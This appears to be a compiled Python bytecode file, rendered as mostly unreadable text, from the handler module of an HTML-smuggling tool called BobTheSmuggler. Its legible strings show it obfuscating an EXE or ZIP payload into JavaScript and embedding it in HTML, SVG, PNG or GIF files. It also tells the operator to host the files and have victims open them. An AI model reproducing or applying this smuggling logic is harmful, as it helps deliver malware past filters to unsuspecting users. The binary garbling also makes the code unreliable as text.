R
    
EHj                           ] QH Gs ] QHGsGsGsGs ] QHGs ] QH$G
s
 ] QH,Gs ] PH4s] PH8sQsQsQsQ	 sQ
 sQ sQ sQ sQ sQ sQ sP! )    )logging)Base64EncodeObfuscateJSembedIdentifyFileType)GetJS)SaveAsTemplate)VisualizePNGzUsing custom {} template.z(Invalid file type: Expected HTML or SVG.zInvalid custom file path.c                       [        U 2      o[        V!O                  UO                  UO                  2      o[        U2      ! )N)r   r   otur   )PathToZIPFileargsEncodedStringJScodes   &&  KC:\Users\Administrator\Documents\BobTheSmuggler\core\operations\handlers.pyGenerateObfuscatedJSr      s1     /M=&&$&&$&&9Fv    c                      [        U O                  2      oUQ 6X  cB   [        O                   [        O                  Q2      2       [        U O                  V2       P! UQ6X  cB   [        O                   [        O                  Q2      2       [        U O                  V2       P! [        O                   [        2       [        [        2      g)htmlHTMLsvgSVG)r   er   debugUSING_CUSTOM_TEMPLATEformatHandleCustomHTMLHandleCustomSVGerrorINVALID_FILE_TYPE
ValueError)r   ObfuscatedCodeJS
OutputFileFileTypes   &&& r   HandleCustomTemplater'      s    'H6+226:;!1>	U	+2259: 0='(*++r   c                 
     [         O                   Q 2       [        V2      oU O                  %       c   [	        VU O
                  2       P! [         O                   Q2       [        V O                  U O
                  2       P! )zHandling HTML type.Using default HTML template.r   r   r   r   r'   fr	   r   r   r   r$   s   && r   
HandleHTMLr-       sQ    MM'(+M@vvvTTVV<45'8r   c                 
     [         O                   Q 2       [        V2      oU O                  %       c   [	        VU O
                  2       P! [         O                   Q2       [        V O                  U O
                  2       P! )zHandling SVG type.zUsing default SVG template.r*   r,   s   && r   	HandleSVGr/   *   sQ    MM&'+M@vvvTTVV<34'8r   c                        [        U Q QQ5      9^tt^ 2       oUO                  2       oPPP2       WO                  Q2      oUP6X  c   [        Q2       UQU Q0*           oLUPU QU Q0*           VEP *           o[        UQ	2      9^tt^ 2       oUO	                  U2       PPP2       P!  ) %       f   h     K9 h ) %       f   h     P! 9 h [
         c    o[        O                   Q
S 02       g Po=hh 9 h)rutf-8encodingz</body>z3Warning: </body> tag not found. Adding <body> tags.z<body><script>z</script></body>z<script>z	</script>wz#Custom HTML file operation failed: )openreadrfindprintwriteIOErrorr   r!   )CustomHTMLPathr$   CustomHTMLEmbeddedfile
ClonedHTMLindexCustomFinalHTMLr   s   &&&     r   r   r   4   s    .#88DJ 9   +B;GH(^<L;MM]+^^O(%0X>N=Oy3YY\fgm\nnO$c**dJJ' +* 98 +** ;A3?@sd   C B,C 
AC B?"C ,B<	5B<	7C ?C	C	
C C 	C=C=C88C=c                       [        U Q QQ5      9^tt^ 2       oUO                  2       oPPP2       Qo[        O                   UW[        O                  2      oU%       cO   UO                  2       o[        O                   QQU Q0U[        O                  Q5      oUO                  Vx2      o	L[        Q2      g[        UQ	QQ5      9^tt^ 2       oUO                  U	2       PPP2       P!  ) %       f   h     K9 h ) %       f   h     P! 9 h [         c    o
[        O                   Q
S
 02       g Po
=
hh 9 h)r1   r2   r3   zC<script type=['\"]text/javascript['\"]><!\[CDATA\[.*?\]\]></script>z<!\[CDATA\[.*?\]\]>z	<![CDATA[z]]>)flagsz4Invalid SVG file: <script> tag with CDATA not found.r5   z"Custom SVG file operation failed: )r6   r7   researchDOTALLgroupsubreplacer#   r:   r;   r   r!   )CustomSVGPathr$   CustomSVGEmbeddedr>   	ClonedSVGRegexmatchScriptContentNewScriptContentCustomFinalSVGr   s   &&&        r   r    r    F   s    -w774		I 8 W		%BII6!KKMM!vv&<	JZI[[^>_anvxvv   A&..}ONSTT#S7;;tJJ~& <; 87 <;;  :1#>?sd   D C-7D "A/D D #D -C=	6C=	8D  D		D	D D 	D>D>D99D>c                      [         O                   Q 2       U O                  %       c   U O                  %       c   [	        Q2      gU O                  %       f   U O                  %       f   [	        Q2      gSo[         O                   QU 02       [        U2      oU O                  %       cN   [         O                   Q2       [        V0O                  U O                  U O                  2      o[        U2      oLU O                  %       c   [         O                   Q2       U O                  o[        Vb2       Qo[        VbUQQ5       [        Vr2       [        Q	[        O                  O                  U2       Q
02       Qo[        V0O                  U O                  U2      o[        U2      oU O                   %       c   [#        U O                   2      o	U	Q6X  c9   [         O                   Q2       [%        U O                   WU O&                  2       LvU	Q6X  c8   [         O                   Q2       [)        U O                   WU O&                  2       L7[         O                   Q2       [+        WU O                  U O&                  2       [        Q[        O                  O                  U O&                  2       Q02       [        Q2       P! )zHandling PNG type.zIYou can only specify either -u (URL) or -png (local file path), not both.zLYou must specify either -u (URL) or -png (local file path) when type is PNG.EXE path is set to : zUsing PNG URL.zUsing local PNG file.z
banner.pngpng	ImageTypez
[34mSaving the PNG file to : 6[0m [92m [HOST THIS FILE TO YOUR CDN/WEB SERVER][0mz http://127.0.0.1:8000/banner.pngr   Using custom HTML template.r   Using custom SVG template.r)   [34mSaving the HTML file to : 2[0m [92m [OPEN THIS FILE ON THE CLIENT-SIDE][0mz-
[92mSuccessfully embedded EXE into PNG.[0m)r   r   r   rT   r#   r   r   r   r   r   r
   r   r9   ospathabspathr   r   r   r+   r    r	   )
r   r   InputFilePathr   r   r$   PNGFilePathSaveToPNGFilePNGImageURLr&   s
   &&        r   	HandlePNGrc   ^   s   MM&' vvv$(((deeVVVDHHHghh!MMM)-9: /Mvvv&'}ffdffdff=&v.	-.hh[0$k-5I]23BGGOOM4R3S  TS  T  	U8}ffdffkB&v. vvv#DFF+vMM78TVV%5tvv>MM67DFF$4dff=45'8	.rwwtvv/F.G  HC  D  E	
@Ar   c                 p     [         O                   Q 2       U O                  %       c   U O                  %       c   [	        Q2      gU O                  %       f   U O                  %       f   [	        Q2      gSo[         O                   QU 02       [        U2      oU O                  %       cN   [         O                   Q2       [        V0O                  U O                  U O                  2      o[        U2      oLU O                  %       c   [         O                   Q2       U O                  oQo[        VbUQQ5       [        Q	[        O                  O                  U2       Q
02       Qo[        V0O                  U O                  U2      o[        U2      oU O                  %       c   [!        U O                  2      o	U	Q6X  c9   [         O                   Q2       [#        U O                  WU O$                  2       LvU	Q6X  c8   [         O                   Q2       ['        U O                  WU O$                  2       L7[         O                   Q2       [)        WU O                  U O$                  2       [        Q[        O                  O                  U O$                  2       Q02       [        Q2       P! )zHandling GIF type.zIYou can only specify either -u (URL) or -gif (local file path), not both.zLYou must specify either -u (URL) or -gif (local file path) when type is GIF.rS   zUsing GIF URL.zUsing local GIF file.z
banner.gifgifrU   z
[34mSaving the GIF file to : rW   z http://127.0.0.1:8000/banner.gifr   rX   r   rY   r)   rZ   r[   z-
[92mSuccessfully embedded EXE into GIF.[0m)r   r   r   re   r#   r   r   r   r   r   r   r9   r\   r]   r^   r   r   r   r+   r    r	   )
r   r   r_   r   r   r$   GIFFilePathSaveToGIFFileGIFImageURLr&   s
   &&        r   	HandleGIFri      s   MM&' vvv$(((deeVVVDHHHghh!MMM)-9: /Mvvv&'}ffdffdff=&v.	-.hh$k-5I3BGGOOM4R3S  TS  T  	U8}ffdffkB&v. vvv#DFF+vMM78TVV%5tvv>MM67DFF$4dff=45'8	.rwwtvv/F.G  HC  D  E	
@Ar   )core.logging.debugr   core.utilities.utilsr   r   r   r   core.operations.genJSr   core.operations.genTemplater	   core.visualization.visualsr
   r\   rD   r   r"   INVALID_CUSTOM_FILEr   r'   r-   r/   r   r    rc   ri    r   r   <module>rq      s\    & S S ' 6 3 	 	 4 > 1 

,99$0/Bb,Br   